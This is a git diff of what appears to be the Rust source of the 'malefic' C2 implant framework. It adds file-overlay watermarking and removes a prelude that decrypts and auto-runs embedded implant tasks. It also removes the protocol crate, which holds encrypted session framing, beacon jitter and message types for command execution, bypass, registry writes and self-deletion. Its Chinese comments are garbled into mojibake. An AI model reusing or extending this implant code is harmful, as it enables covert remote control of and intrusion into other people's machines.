u32)?; + file.write_all(watermark)?; + + Ok(()) +} + +fn read_overlay(input_path: &str, size_hint: Option) -> Result> { + let mut file = File::open(input_path)?; + let file_size = file.metadata()?.len(); + + if let Some(hint) = size_hint { + // Read last `hint` bytes as raw overlay + let offset = file_size.saturating_sub(hint as u64); + file.seek(SeekFrom::Start(offset))?; + let mut buf = vec![0u8; hint]; + file.read_exact(&mut buf)?; + return Ok(buf); + } + + // Search for WMRK marker from end + // Format: [WMRK (4)] [size (4)] [data (size)] + // So metadata is at file_end - data_size - 8 + // We need to scan backwards for the marker + if file_size < 8 { + return Err(anyhow!("File too small to contain overlay watermark")); + } + + // Try reading from expected positions — scan last 64KB for marker + let scan_start = file_size.saturating_sub(65536); + file.seek(SeekFrom::Start(scan_start))?; + let mut scan_buf = vec![0u8; (file_size - scan_start) as usize]; + file.read_exact(&mut scan_buf)?; + + // Find last occurrence of "WMRK" + let marker = b"WMRK"; + let mut found_pos = None; + for i in (0..scan_buf.len().saturating_sub(7)).rev() { + if &scan_buf[i..i + 4] == marker { + found_pos = Some(i); + break; + } + } + + let pos = found_pos.ok_or_else(|| anyhow!("No WMRK overlay marker found"))?; + + // Read size (4 bytes after marker) + let size_bytes = &scan_buf[pos + 4..pos + 8]; + let size = + u32::from_le_bytes([size_bytes[0], size_bytes[1], size_bytes[2], size_bytes[3]]) as usize; + + if pos + 8 + size > scan_buf.len() { + return Err(anyhow!("Overlay watermark size mismatch")); + } + + Ok(scan_buf[pos + 8..pos + 8 + size].to_vec()) +} diff --git a/malefic-mutant/src/tool/watermark/mod.rs b/malefic-mutant/src/tool/watermark/mod.rs new file mode 100644 index 0000000..f1627a1 --- /dev/null +++ b/malefic-mutant/src/tool/watermark/mod.rs @@ -0,0 +1,3 @@ +pub mod methods; + +pub use methods::{read_watermark, write_watermark, WatermarkMethod}; diff --git a/malefic-prelude/Cargo.toml b/malefic-prelude/Cargo.toml index 387875e..427136e 100644 --- a/malefic-prelude/Cargo.toml +++ b/malefic-prelude/Cargo.toml @@ -3,16 +3,13 @@ name = "malefic-prelude" version = "0.1.1" edition = "2021" +[features] +default = [] +external_spite = ["malefic-autorun/external_spite"] + [dependencies] anyhow = { workspace = true } -futures = { workspace = true } -lazy_static = { workspace = true } - -malefic-core = { path = "../malefic-core", features = [ ] } -malefic-modules = { path = "../malefic-modules"} -malefic-helper = { path= "../malefic-helper", features = [ "default" ] } -malefic-proto = { path= "../malefic-proto", features = [ "Crypto_AES" ] } -tokio = { workspace = true, features = ["rt", "rt-multi-thread"] } +malefic-autorun = { workspace = true } [build-dependencies] -embed-resource = { workspace = true } \ No newline at end of file +embed-resource = { workspace = true } diff --git a/malefic-prelude/build.rs b/malefic-prelude/build.rs index 203d317..1709c8a 100644 --- a/malefic-prelude/build.rs +++ b/malefic-prelude/build.rs @@ -16,15 +16,11 @@ fn main() { let current_dir = std::env::current_dir().expect("Failed to get current directory"); let rc_path = current_dir.join("../resources/malefic.rc"); let absolute_rc_path = fs::canonicalize(current_dir.join(rc_path)).expect(""); - match embed_resource::compile(absolute_rc_path.to_str().unwrap(),embed_resource::NONE) { - CompilationResult::Ok => - println!("cargo:warning=embed_resource compiled successfully"), - CompilationResult::Failed(e) => - panic!("embed_resource failed: {}", e), - CompilationResult::NotAttempted(reason) => - panic!("RC compiler not found: {}", reason), - CompilationResult::NotWindows => - println!("cargo:warning=Not on Windows platform"), + match embed_resource::compile(absolute_rc_path.to_str().unwrap(), embed_resource::NONE) { + CompilationResult::Ok => println!("cargo:warning=embed_resource compiled successfully"), + CompilationResult::Failed(e) => panic!("embed_resource failed: {}", e), + CompilationResult::NotAttempted(reason) => panic!("RC compiler not found: {}", reason), + CompilationResult::NotWindows => println!("cargo:warning=Not on Windows platform"), } } } diff --git a/malefic-prelude/src/autorun/mod.rs b/malefic-prelude/src/autorun/mod.rs deleted file mode 100644 index 074c276..0000000 --- a/malefic-prelude/src/autorun/mod.rs +++ /dev/null @@ -1,47 +0,0 @@ -use crate::scheduler::PreludeScheduler; -use anyhow::Result; -use malefic_core::common::error::MaleficError; -use malefic_proto::proto::implantpb::Spite; -use std::sync::mpsc::{channel, Receiver, Sender}; -use tokio; -pub struct Autorun { - scheduler: Option, - task_sender: Sender, - result_receiver: Receiver, -} - -impl Autorun { - pub fn new() -> Result { - let (task_sender, task_receiver) = channel(); - let (result_sender, result_receiver) = channel(); - - let scheduler = PreludeScheduler::new(task_receiver, result_sender); - - Ok(Autorun { - scheduler: Some(scheduler), - task_sender, - result_receiver, - }) - } - - pub fn execute(&mut self, tasks: Vec) -> Result, MaleficError> { - let mut scheduler = self.scheduler.take().unwrap(); - - tokio::task::spawn_blocking(move || { - scheduler.handler().unwrap(); - }); - - for task in tasks.iter() { - self.task_sender.send(task.clone()).unwrap(); - } - - let mut results = Vec::new(); - for _ in 0..tasks.len() { - if let Ok(result) = self.result_receiver.recv() { - results.push(result); - } - } - - Ok(results) - } -} diff --git a/malefic-prelude/src/lib.rs b/malefic-prelude/src/lib.rs deleted file mode 100644 index 6769d09..0000000 --- a/malefic-prelude/src/lib.rs +++ /dev/null @@ -1,38 +0,0 @@ -use lazy_static::lazy_static; -use tokio::runtime::Runtime; -use malefic_core::config; -use malefic_proto::compress::decompress; -use malefic_proto::crypto::new_cryptor; -use malefic_proto::decode; -use crate::autorun::Autorun; - -pub mod autorun; -pub mod scheduler; - - -lazy_static! { - pub static ref DATA: &'static [u8] = include_bytes!("../../resources/spite.bin"); -} -pub fn run() -> anyhow::Result<()> { - let rt = Runtime::new()?; - rt.block_on(async { - let iv = - config::KEY.clone().iter().rev().cloned().collect(); - let mut cryptor = - new_cryptor(config::KEY.clone().to_vec(), iv); - let decrypted = cryptor.decrypt(DATA.to_vec())?; - let decompressed = decompress(&*decrypted)?; - match decode(decompressed) { - Ok(spites) => { - let tasks: Vec<_> = - spites.spites.into_iter().collect(); - let mut autorun = Autorun::new().unwrap(); - let results = autorun.execute(tasks).unwrap(); - Ok(()) - }, - Err(e) => { - Err(e.into()) - } - } - }) -} \ No newline at end of file diff --git a/malefic-prelude/src/main.rs b/malefic-prelude/src/main.rs index a128e81..9669b84 100644 --- a/malefic-prelude/src/main.rs +++ b/malefic-prelude/src/main.rs @@ -1,8 +1,5 @@ #![cfg_attr(not(debug_assertions), windows_subsystem = "windows")] -use malefic_prelude::run; - -pub mod autorun; -pub mod scheduler; +use malefic_autorun::run; fn main() -> anyhow::Result<()> { run() diff --git a/malefic-prelude/src/scheduler/mod.rs b/malefic-prelude/src/scheduler/mod.rs deleted file mode 100644 index b1994e0..0000000 --- a/malefic-prelude/src/scheduler/mod.rs +++ /dev/null @@ -1,76 +0,0 @@ -use anyhow::Result; -use futures::channel::mpsc::unbounded; -use futures::executor::block_on; -use futures::{SinkExt}; -use malefic_core::common::error::MaleficError; -use malefic_core::manager::manager::MaleficManager; -use malefic_proto::proto::implantpb::Spite; -use std::sync::mpsc::{Receiver, Sender}; - -pub struct PreludeScheduler { - pub module_manager: MaleficManager, - pub task_receiver: Receiver, - pub result_sender: Sender, -} - -impl PreludeScheduler { - pub fn new(task_receiver: Receiver, result_sender: Sender) -> PreludeScheduler { - let mut manager = MaleficManager::new(); - let _ = manager.refresh_module(); - PreludeScheduler { - module_manager: manager, - task_receiver, - result_sender, - } - } - - pub fn get_task_receiver(&self) -> &Receiver { - &self.task_receiver - } - - pub fn get_result_sender(&self) -> Sender { - self.result_sender.clone() - } - - pub fn handler(&mut self) -> Result<(), MaleficError> { - loop { - let receiver = self.get_task_receiver(); - match receiver.recv() { - Ok(spite) => { - let result_spite = block_on(self.run(spite))?; - self.result_sender.send(result_spite).unwrap(); - } - Err(_) => { - break; - } - } - } - - Ok(()) - } - - pub async fn run(&mut self, spite: Spite) -> Result { - let body = match spite.body { - Some(b) => b, - None => return Err(MaleficError::MissBody), - }; - - let module = match self.module_manager.get_module(&spite.name) { - Some(m) => m, - None => return Err(MaleficError::ModuleNotFound), - }; - - let (mut input_sender, mut input_receiver) = unbounded(); - let (mut output_sender, _) = unbounded(); - - input_sender.send(body).await.unwrap(); - drop(input_sender); - - let result = module - .new_instance() - .run(spite.task_id, &mut input_receiver, &mut output_sender) - .await?; - - Ok(result.to_spite()) - } -} diff --git a/malefic-prelude/tests/test_autorun.rs b/malefic-prelude/tests/test_autorun.rs deleted file mode 100644 index 73b06d8..0000000 --- a/malefic-prelude/tests/test_autorun.rs +++ /dev/null @@ -1,42 +0,0 @@ -use malefic_proto::proto::implantpb::Spite; -use malefic_proto::proto::implantpb::spite::Body::Request; -use anyhow::Result; -use malefic_prelude::autorun::Autorun; - -#[test] -fn test_autorun() -> Result<(), Box> { - // 创建一组模拟的 Spite 任务 - let tasks = vec![ - Spite { - task_id: 1, - name: "whoami".to_string(), - r#async: false, - timeout: 0, - error: 0, - status: None, - body: Some(Request(malefic_proto::proto::modulepb::Request::default())), - }, - Spite { - task_id: 2, - name: "ps".to_string(), - r#async: false, - timeout: 0, - error: 0, - status: None, - body: Some(Request(malefic_proto::proto::modulepb::Request::default())), - }, - ]; - - // åˆå§‹åŒ– Autorun 实例 - let mut autorun = Autorun::new()?; - - // 执行所有任务并获å–结果 - let results = autorun.execute(tasks)?; - - // æ£€æŸ¥ç»“æžœçš„æ•°é‡ - assert_eq!(results.len(), 2); - - println!("results: {:#?}", results); - - Ok(()) -} diff --git a/malefic-prelude/tests/test_scheduler.rs b/malefic-prelude/tests/test_scheduler.rs deleted file mode 100644 index e4dc786..0000000 --- a/malefic-prelude/tests/test_scheduler.rs +++ /dev/null @@ -1,73 +0,0 @@ -use std::sync::mpsc::channel; -use std::thread; -use malefic_prelude::scheduler::PreludeScheduler; -use malefic_proto::proto::implantpb::Spite; -use malefic_proto::proto::implantpb::spite::Body::Request; - -#[async_std::test] -async fn test_run() { - // 创建一个异步的å‘é€å’ŒæŽ¥æ”¶é€šé“æ¥å¤„ç†ç»“æžœ - let (result_sender, _result_receiver) = channel(); - let (_task_sender, task_receiver) = channel(); - // åˆå§‹åŒ– BlockingScheduler - let mut scheduler = PreludeScheduler::new(task_receiver, result_sender); - - // 创建一个 Whoami 模å—çš„ Spite 请求 - let spite = Spite { - task_id: 1, - name: "whoami".to_string(), - r#async: false, - timeout: 0, - error: 0, - status: None, - body: Some(Request(malefic_proto::proto::modulepb::Request::default())), - }; - - println!("spite: {:?}", spite); - - // è¿è¡Œè°ƒåº¦å™¨å¹¶å¤„ç†ä»»åŠ¡ - let result = scheduler.run(spite).await; - - println!("result: {:?}", result); - - // æ£€æŸ¥ç»“æžœæ˜¯å¦æˆåŠŸ - assert!(result.is_ok()); -} - - -#[test] -fn test_handler() { - // åˆ›å»ºä¸€ä¸ªåŒæ­¥çš„å‘é€å’ŒæŽ¥æ”¶é€šé“æ¥å¤„ç†ç»“æžœ - let (task_sender, task_receiver) = channel(); - let (result_sender, result_receiver) = channel(); - - // åˆå§‹åŒ– BlockingScheduler - let mut scheduler = PreludeScheduler::new(task_receiver, result_sender); - - // 创建一个线程æ¥è¿è¡Œè°ƒåº¦å™¨ - let handle = thread::spawn(move || { - scheduler.handler().unwrap(); - }); - - // å‘é€ä¸€ä¸ª Whoami 模å—çš„ Spite 请求 - let spite = Spite { - task_id: 1, - name: "whoami".to_string(), - r#async: false, - timeout: 0, - error: 0, - status: None, - body: Some(Request(malefic_proto::proto::modulepb::Request::default())), - }; - - task_sender.send(spite).unwrap(); // å‘调度器å‘é€ä»»åŠ¡ - - // 接收任务执行结果 - let result = result_receiver.recv().unwrap(); - - println!("result: {:?}", result); - - // 结æŸè°ƒåº¦å™¨çº¿ç¨‹ - drop(task_sender); // 关闭å‘é€é€šé“,触å‘è°ƒåº¦å™¨ç»“æŸ - handle.join().unwrap(); -} \ No newline at end of file diff --git a/malefic-proto/Cargo.toml b/malefic-proto/Cargo.toml deleted file mode 100644 index 5fd4e60..0000000 --- a/malefic-proto/Cargo.toml +++ /dev/null @@ -1,37 +0,0 @@ -[package] -name = "malefic-proto" -version = "0.1.0" -edition = "2021" - -[features] -default = ["Crypto_AES"] - -Crypto = [] -Crypto_XOR = ["Crypto"] -Crypto_AES = ["Crypto", "aes", "ctr"] -Crypto_Chacha20 = ["Crypto", "chacha20"] - -secure = ["age", "rand"] - -enable_serde = ["serde"] - -[dependencies] -prost = { workspace = true } -serde = { workspace = true, optional = true } -thiserror = { workspace = true } -snap = "1.1.1" -chacha20 = { version = "0.9.0", optional = true } -aes = { version = "0.8.4", optional = true } -ctr = { version = "0.9.2", optional = true } -age = { git = "https://github.com/chainreactors/rage", branch = "main", optional = true } -rand = { version = "0.8.5", optional = true } -nanorand = { version = "0.7.0", features = ["wyrand"] } -cfg-if = { workspace = true } -anyhow = { workspace = true } -async-trait = { workspace = true } -futures-channel = "0.3.31" -cron = { version = "0.15", default-features = false } -chrono = { workspace = true } - -[build-dependencies] -prost-build = { workspace = true } diff --git a/malefic-proto/build.rs b/malefic-proto/build.rs deleted file mode 100644 index 5b83683..0000000 --- a/malefic-proto/build.rs +++ /dev/null @@ -1,34 +0,0 @@ - -const PROTO_GENE_PATH: &str = "src/proto/"; -const PROTO_IMPLANT_FILE: &str = "../proto/implant/implantpb/implant.proto"; -const PROTO_MODULE_FILE: &str = "../proto/implant/implantpb/module.proto"; - -fn main() { - // println!("cargo:rerun-if-changed=build.rs"); - // println!("cargo:rerun-if-changed=../proto/implant/implantpb/implant.proto"); - // println!("cargo:rerun-if-changed=../proto/implant/implantpb/module.proto"); - println!("test build!"); - let mut prost_config = prost_build::Config::new(); - #[cfg(feature = "enable_serde")] - { - prost_config.type_attribute(".", "#[derive(serde::Deserialize)]"); - prost_config.field_attribute(".modulepb", "#[serde(default)]"); - } - - #[cfg(all(not(debug_assertions), not(feature = "enable_serde")))] - { - prost_config.skip_debug(["."]); - } - - - prost_config.out_dir(PROTO_GENE_PATH.to_string()); - // prost_config.btree_map(&["."]); - match prost_config - .compile_protos(&[PROTO_IMPLANT_FILE.to_string(), PROTO_MODULE_FILE.to_string()], &["../proto/"]) { - Ok(_) => println!("Proto compilation successful!"), - Err(e) => { - eprintln!("Proto compilation error: {}", e); - panic!("Failed to compile protos: {}", e); - } - } -} \ No newline at end of file diff --git a/malefic-proto/src/compress/mod.rs b/malefic-proto/src/compress/mod.rs deleted file mode 100644 index 783ba5b..0000000 --- a/malefic-proto/src/compress/mod.rs +++ /dev/null @@ -1,18 +0,0 @@ -use std::io::{self}; -use snap::raw::{Decoder, Encoder}; - -pub fn compress(data: &[u8]) -> io::Result> { - let mut encoder = Encoder::new(); - let compressed_data = encoder.compress_vec(data) - .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; - - Ok(compressed_data) -} - -pub fn decompress(compressed_data: &[u8]) -> io::Result> { - let mut decoder = Decoder::new(); - let decompressed_data = decoder.decompress_vec(compressed_data) - .map_err(|e| io::Error::new(io::ErrorKind::Other, e))?; - - Ok(decompressed_data) -} \ No newline at end of file diff --git a/malefic-proto/src/crypto/age.rs b/malefic-proto/src/crypto/age.rs deleted file mode 100644 index 8d3eea9..0000000 --- a/malefic-proto/src/crypto/age.rs +++ /dev/null @@ -1,39 +0,0 @@ -use std::str::FromStr; -use age::x25519; -use age::secrecy::ExposeSecret; - -/// ç”Ÿæˆæ–°çš„Age密钥对 -pub fn generate_age_keypair() -> (String, String) { - let identity = x25519::Identity::generate(); - let recipient = identity.to_public(); - (identity.to_string().expose_secret().to_string(), recipient.to_string()) -} - -/// 从字符串解æžAge身份 -pub fn parse_age_identity(private_key: &str) -> Result { - x25519::Identity::from_str(private_key) - .map_err(|e| format!("Invalid private key: {}", e)) -} - -/// 从字符串解æžAge接收者 -pub fn parse_age_recipient(public_key: &str) -> Result { - x25519::Recipient::from_str(public_key) - .map_err(|e| format!("Invalid public key: {}", e)) -} - -/// Age加密函数 -pub fn age_encrypt(data: &[u8], public_key: &str) -> Result, String> { - let recipient = parse_age_recipient(public_key)?; - - age::encrypt(&recipient, data) - .map_err(|e| format!("Failed to encrypt: {}", e)) -} - -/// Age解密函数 -pub fn age_decrypt(encrypted_data: &[u8], private_key: &str) -> Result, String> { - let identity = parse_age_identity(private_key)?; - - age::decrypt(&identity, encrypted_data) - .map_err(|e| format!("Failed to decrypt: {}", e)) -} - diff --git a/malefic-proto/src/lib.rs b/malefic-proto/src/lib.rs deleted file mode 100644 index a7907f8..0000000 --- a/malefic-proto/src/lib.rs +++ /dev/null @@ -1,348 +0,0 @@ -pub mod proto; -pub mod crypto; -pub mod compress; -pub mod module; -pub mod prelude; -pub mod scheduler; - -use nanorand::{Rng, WyRand}; -use prost::Message; -use anyhow::anyhow; -use std::mem::size_of; -use thiserror::Error; - -use crate::compress::decompress; -use crate::proto::implantpb; -// use crate::proto::implantpb::{Spite, Spites}; -pub use prelude::*; -pub fn get_message_len(message: &M) -> usize { - message.encoded_len() -} - -pub fn new_spite(task_id: u32, name: String, body: Body) -> implantpb::Spite { - Spite { - task_id, - r#async: true, - timeout: 0, - name, - error: 0, - status: Option::from(implantpb::Status { - task_id, - status: 0, - error: "".to_string(), - }), - body: Some(body), - } -} - -pub fn new_empty_spite(task_id: u32, name: String) -> implantpb::Spite { - Spite { - task_id, - r#async: true, - timeout: 0, - name, - error: 0, - status: Option::from(implantpb::Status { - task_id, - status: 0, - error: "".to_string(), - }), - body: Some(Body::Empty(implantpb::Empty::default())), - } -} -pub fn new_error_spite(task_id: u32, name: String, error: u32) -> implantpb::Spite { - Spite { - task_id, - r#async: true, - timeout: 0, - name, - error, - status: Option::from(implantpb::Status { - task_id, - status: 1, - error: "".to_string(), - }), - body: None, - } -} - -fn get_timeu64() -> u64 { - std::time::SystemTime::now() - .duration_since(std::time::UNIX_EPOCH) - .expect("Time went backwards") - .as_secs() -} - -pub fn get_sid() -> [u8; 4] { - let mut rng = WyRand::new_seed(get_timeu64()); - let instance_id: [u8; 4]; - - if cfg!(debug_assertions) { - instance_id = [1, 2, 3, 4]; - } else { - let mut temp_id = [0u8; 4]; - rng.fill(&mut temp_id); - instance_id = temp_id; - } - instance_id -} - - -pub fn new_heartbeat(interval: u64, jitter: f64) -> u64 { - let base_time_ms = (interval * 1000) as f64; - - let mut rng = WyRand::new(); - let jitter_factor = if jitter != 0.0 { - 1.0 + (rng.generate_range(0..=((jitter * 2000.0) as u64)) as f64 / 1000.0 - jitter) - } else { - 1.0 - }; - - (base_time_ms * jitter_factor) as u64 -} - -static TRANSPORT_START: u8 = 0xd1; -static TRANSPORT_END: u8 = 0xd2; -pub static HEADER_LEN: usize = 9; - -#[derive(Debug, Error)] -pub enum ParserError { - #[error(transparent)] - Panic(#[from] anyhow::Error), - - #[error("No start marker found in data")] - NoStart, - - #[error("No end marker found in data")] - NoEnd, - - #[error("Data length is insufficient or incorrect")] - LengthError, - - // #[error("Failed to decode Spites")] - // DecodeError(#[from] prost::DecodeError), - // - // #[error("Failed to encode Spites")] - // EncodeError(#[from] prost::EncodeError), - - #[error("I/O Error: {0}")] - IOError(#[from] std::io::Error), - - #[error("Data body is missing")] - MissBody, -} - -#[cfg_attr(debug_assertions, derive(Debug))] -pub struct SpiteData { - pub start: u8, - pub session_id: [u8; 4], - pub length: u32, - pub data: Vec, - pub end: u8, -} - -impl SpiteData { - pub fn default() -> Self { - SpiteData { - start: TRANSPORT_START, - session_id: [0u8; 4], - length: 0, - data: Vec::new(), - end: TRANSPORT_END, - } - } - - pub fn new(session_id: [u8; 4], data: &[u8], _recipient_public_key: Option<&str>) -> Self { - // First compress the data - let compressed = compress::compress(data).unwrap_or_else(|_| data.to_vec()); - - // Then encrypt if we have secure feature and non-empty key - let final_data = { - #[cfg(feature = "secure")] - { - if let Some(public_key) = _recipient_public_key { - if !public_key.is_empty() { - // Inline age encryption - use crate::crypto::age::age_encrypt; - age_encrypt(&compressed, public_key).unwrap_or(compressed) - } else { - compressed - } - } else { - compressed - } - } - #[cfg(not(feature = "secure"))] - { - compressed - } - }; - let length = final_data.len() as u32; - SpiteData { - start: TRANSPORT_START, - session_id, - length, - data: final_data, - end: TRANSPORT_END, - } - } - - pub fn header(&self) -> Vec { - let mut buf = Vec::new(); - buf.push(self.start); - buf.extend_from_slice(&self.session_id); - buf.extend_from_slice(&self.length.to_le_bytes()); - buf - } - - pub fn body(&self) -> Vec { - let mut buf = Vec::new(); - buf.extend_from_slice(&self.data); - buf.push(self.end); - buf - } - - pub fn pack(&self) -> Vec { - let mut buf = Vec::new(); - buf.push(self.start); - buf.extend_from_slice(&self.session_id); - buf.extend_from_slice(&self.length.to_le_bytes()); - buf.extend_from_slice(&self.data); - buf.push(self.end); - buf - } - - pub fn unpack(&mut self, buf: &[u8]) -> Result<(), ParserError> { - if buf.len() < size_of::() + 4 + 2 { - return Err(ParserError::LengthError); - } - - if buf[0] != TRANSPORT_START { - return Err(ParserError::NoStart); - } - if buf[buf.len() - 1] != TRANSPORT_END { - return Err(ParserError::NoEnd); - } - - let mut pos = 1; - self.session_id = [buf[pos], buf[pos + 1], buf[pos + 2], buf[pos + 3]]; - pos += 4; - self.length = u32::from_le_bytes([buf[pos], buf[pos + 1], buf[pos + 2], buf[pos + 3]]); - pos += size_of::(); - self.data = buf[pos..pos + self.length as usize].to_vec(); - Ok(()) - } - - pub fn get_data(&self) -> &Vec { - &self.data - } - - pub fn set_data(&mut self, data: Vec) -> Result { - if let Some(&last_byte) = data.last() { - if last_byte != TRANSPORT_END { - Err(ParserError::NoEnd) - }else{ - self.data = data[..data.len()-1].to_vec(); - Ok(true) - } - } else { - Err(ParserError::LengthError) - } - } - - pub fn parse(&self, _private_key: Option<&str>) -> Result { - let spite_data = self.get_data(); - if spite_data.is_empty() { - return Err(ParserError::MissBody); - } - // First decrypt if we have secure feature and non-empty key - let decrypted_data = { - #[cfg(feature = "secure")] - { - if let Some(private_key) = _private_key { - if !private_key.is_empty() { - // Inline age decryption - use crate::crypto::age::age_decrypt; - age_decrypt(spite_data, private_key).unwrap_or_else(|_| spite_data.to_vec()) - } else { - spite_data.to_vec() - } - } else { - spite_data.to_vec() - } - } - #[cfg(not(feature = "secure"))] - { - spite_data.to_vec() - } - }; - - // Then decompress - let decompressed = decompress(&decrypted_data)?; - - // Finally decode protobuf - match Spites::decode(&decompressed[..]) { - Ok(spites) => Ok(spites), - Err(err) => { - Err(anyhow!("Failed to decode: {:?}", err).into()) - } - } - } -} - -/// å°† `Spites` ç¼–ç ä¸º `Vec` -pub fn encode(spites: Spites) -> Result, ParserError> { - let mut buf = Vec::new(); - spites.encode(&mut buf).map_err(|e| anyhow!(e))?; - Ok(buf) -} - -/// å°† `Vec` è§£ç ä¸º `Spites` -pub fn decode(data: Vec) -> Result { - let spites = Spites::decode(&data[..]).map_err(|e| anyhow!(e))?; - Ok(spites) -} - -pub fn marshal(id: [u8;4], spites: Spites, recipient_public_key: Option<&str>) -> Result { - let mut buf = Vec::new(); - spites.encode(&mut buf).map_err(|e| anyhow!(e))?; - Ok(SpiteData::new(id, &buf, recipient_public_key)) -} - -pub fn marshal_one(id: [u8;4], spite: Spite, recipient_public_key: Option<&str>) -> Result { - marshal(id, Spites{spites: vec![spite]}, recipient_public_key) -} - -pub fn parser_header(buf: &[u8]) -> Result { - // æ£€æŸ¥æ˜¯å¦æœ‰è¶³å¤Ÿçš„字节æ¥è§£æž header(9 字节) - if buf.len() < 9 { - return Err(ParserError::LengthError); - } - - // 检查起始标记 - if buf[0] != TRANSPORT_START { - return Err(ParserError::NoStart); - } - - // è§£æž start (1字节),session_id (4字节),length (4字节) - let start = buf[0]; - - let session_id = [buf[1], buf[2], buf[3], buf[4]]; - - let length = u32::from_le_bytes([buf[5], buf[6], buf[7], buf[8]]); - - // 构造并返回 SpiteData(header部分,data部分留空) - Ok(SpiteData { - start, - session_id, - length, - data: Vec::new(), // header è§£æžä¸å¤„ç† data - end: TRANSPORT_END, // 默认值,ä¸ä»Ž header ä¸­è§£æž - }) -} - -/// Generate new Age keypair -#[cfg(feature = "secure")] -pub fn generate_age_keypair() -> (String, String) { - crate::crypto::age::generate_age_keypair() -} \ No newline at end of file diff --git a/malefic-proto/src/prelude.rs b/malefic-proto/src/prelude.rs deleted file mode 100644 index d03904e..0000000 --- a/malefic-proto/src/prelude.rs +++ /dev/null @@ -1,5 +0,0 @@ -pub use crate::{check_request, check_field, check_optional, register_module, debug, to_error}; -pub use crate::module::{Input, Output, MaleficBundle, MaleficModule, TaskError, TaskResult, Module, ModuleImpl, ModuleResult}; -pub use crate::proto::implantpb::spite::Body; -pub use crate::proto::implantpb::{Spite, Spites}; -pub use crate::proto::modulepb::Response; diff --git a/malefic-proto/src/proto/implantpb.rs b/malefic-proto/src/proto/implantpb.rs deleted file mode 100644 index c156a98..0000000 --- a/malefic-proto/src/proto/implantpb.rs +++ /dev/null @@ -1,156 +0,0 @@ -// This file is @generated by prost-build. -#[derive(Clone, Copy, PartialEq, Eq, Hash, ::prost::Message)] -pub struct Empty {} -#[derive(Clone, PartialEq, Eq, Hash, ::prost::Message)] -pub struct Status { - #[prost(uint32, tag = "1")] - pub task_id: u32, - /// unexcept error - #[prost(int32, tag = "2")] - pub status: i32, - /// std err - #[prost(string, tag = "3")] - pub error: ::prost::alloc::string::String, -} -/// implant call and back data -#[derive(Clone, PartialEq, ::prost::Message)] -pub struct Spite { - #[prost(string, tag = "1")] - pub name: ::prost::alloc::string::String, - #[prost(uint32, tag = "2")] - pub task_id: u32, - #[prost(bool, tag = "3")] - pub r#async: bool, - #[prost(uint64, tag = "4")] - pub timeout: u64, - #[prost(uint32, tag = "5")] - pub error: u32, - #[prost(message, optional, tag = "6")] - pub status: ::core::option::Option, - #[prost( - oneof = "spite::Body", - tags = "10, 11, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 31, 32, 35, 36, 37, 38, 39, 101, 102, 104, 105, 106, 107, 108, 109, 110, 111, 112, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 140, 141, 150, 151, 152" - )] - pub body: ::core::option::Option, -} -/// Nested message and enum types in `Spite`. -pub mod spite { - #[derive(Clone, PartialEq, ::prost::Oneof)] - pub enum Body { - #[prost(message, tag = "10")] - Empty(super::Empty), - #[prost(message, tag = "11")] - Block(super::super::modulepb::Block), - #[prost(message, tag = "13")] - Ack(super::super::modulepb::Ack), - #[prost(message, tag = "14")] - Task(super::super::modulepb::TaskCtrl), - #[prost(message, tag = "15")] - SleepRequest(super::super::modulepb::Timer), - #[prost(message, tag = "16")] - Init(super::super::modulepb::Init), - #[prost(message, tag = "17")] - Switch(super::super::modulepb::Switch), - #[prost(message, tag = "18")] - TaskInfo(super::super::modulepb::TaskInfo), - #[prost(message, tag = "19")] - TaskList(super::super::modulepb::TaskListResponse), - #[prost(message, tag = "20")] - Sysinfo(super::super::modulepb::SysInfo), - #[prost(message, tag = "21")] - Register(super::super::modulepb::Register), - #[prost(message, tag = "22")] - Ping(super::super::modulepb::Ping), - #[prost(message, tag = "23")] - Suicide(super::super::modulepb::Suicide), - #[prost(message, tag = "24")] - Request(super::super::modulepb::Request), - #[prost(message, tag = "25")] - Response(super::super::modulepb::Response), - #[prost(message, tag = "26")] - ExecuteBinary(super::super::modulepb::ExecuteBinary), - #[prost(message, tag = "27")] - BinaryResponse(super::super::modulepb::BinaryResponse), - #[prost(message, tag = "31")] - LoadModule(super::super::modulepb::LoadModule), - #[prost(message, tag = "32")] - Modules(super::super::modulepb::Modules), - #[prost(message, tag = "35")] - LoadAddon(super::super::modulepb::LoadAddon), - #[prost(message, tag = "36")] - Addons(super::super::modulepb::Addons), - #[prost(message, tag = "37")] - ExecuteAddon(super::super::modulepb::ExecuteAddon), - #[prost(message, tag = "38")] - WmiRequest(super::super::modulepb::WmiQueryRequest), - #[prost(message, tag = "39")] - WmiMethodRequest(super::super::modulepb::WmiMethodRequest), - #[prost(message, tag = "101")] - LsResponse(super::super::modulepb::LsResponse), - #[prost(message, tag = "102")] - ChownRequest(super::super::modulepb::ChownRequest), - #[prost(message, tag = "104")] - ExecRequest(super::super::modulepb::ExecRequest), - #[prost(message, tag = "105")] - ExecResponse(super::super::modulepb::ExecResponse), - #[prost(message, tag = "106")] - UploadRequest(super::super::modulepb::UploadRequest), - #[prost(message, tag = "107")] - DownloadRequest(super::super::modulepb::DownloadRequest), - #[prost(message, tag = "108")] - DownloadResponse(super::super::modulepb::DownloadResponse), - #[prost(message, tag = "109")] - NetstatResponse(super::super::modulepb::NetstatResponse), - #[prost(message, tag = "110")] - PsResponse(super::super::modulepb::PsResponse), - #[prost(message, tag = "111")] - BypassRequest(super::super::modulepb::BypassRequest), - #[prost(message, tag = "112")] - ExecuteCommand(super::super::modulepb::ExecuteCommand), - #[prost(message, tag = "118")] - IfconfigResponse(super::super::modulepb::IfconfigResponse), - #[prost(message, tag = "119")] - CurlRequest(super::super::modulepb::CurlRequest), - #[prost(message, tag = "120")] - KeyExchangeRequest(super::super::modulepb::KeyExchangeRequest), - #[prost(message, tag = "121")] - KeyExchangeResponse(super::super::modulepb::KeyExchangeResponse), - #[prost(message, tag = "122")] - RegistryRequest(super::super::modulepb::Registry), - #[prost(message, tag = "123")] - RegistryWriteRequest(super::super::modulepb::RegistryWriteRequest), - #[prost(message, tag = "124")] - ScheduleRequest(super::super::modulepb::TaskSchedule), - #[prost(message, tag = "125")] - SchedulesResponse(super::super::modulepb::TaskSchedulesResponse), - #[prost(message, tag = "126")] - ScheduleResponse(super::super::modulepb::TaskSchedule), - #[prost(message, tag = "127")] - ServiceRequest(super::super::modulepb::ServiceConfig), - #[prost(message, tag = "128")] - ServicesResponse(super::super::modulepb::ServicesResponse), - #[prost(message, tag = "129")] - ServiceResponse(super::super::modulepb::Service), - 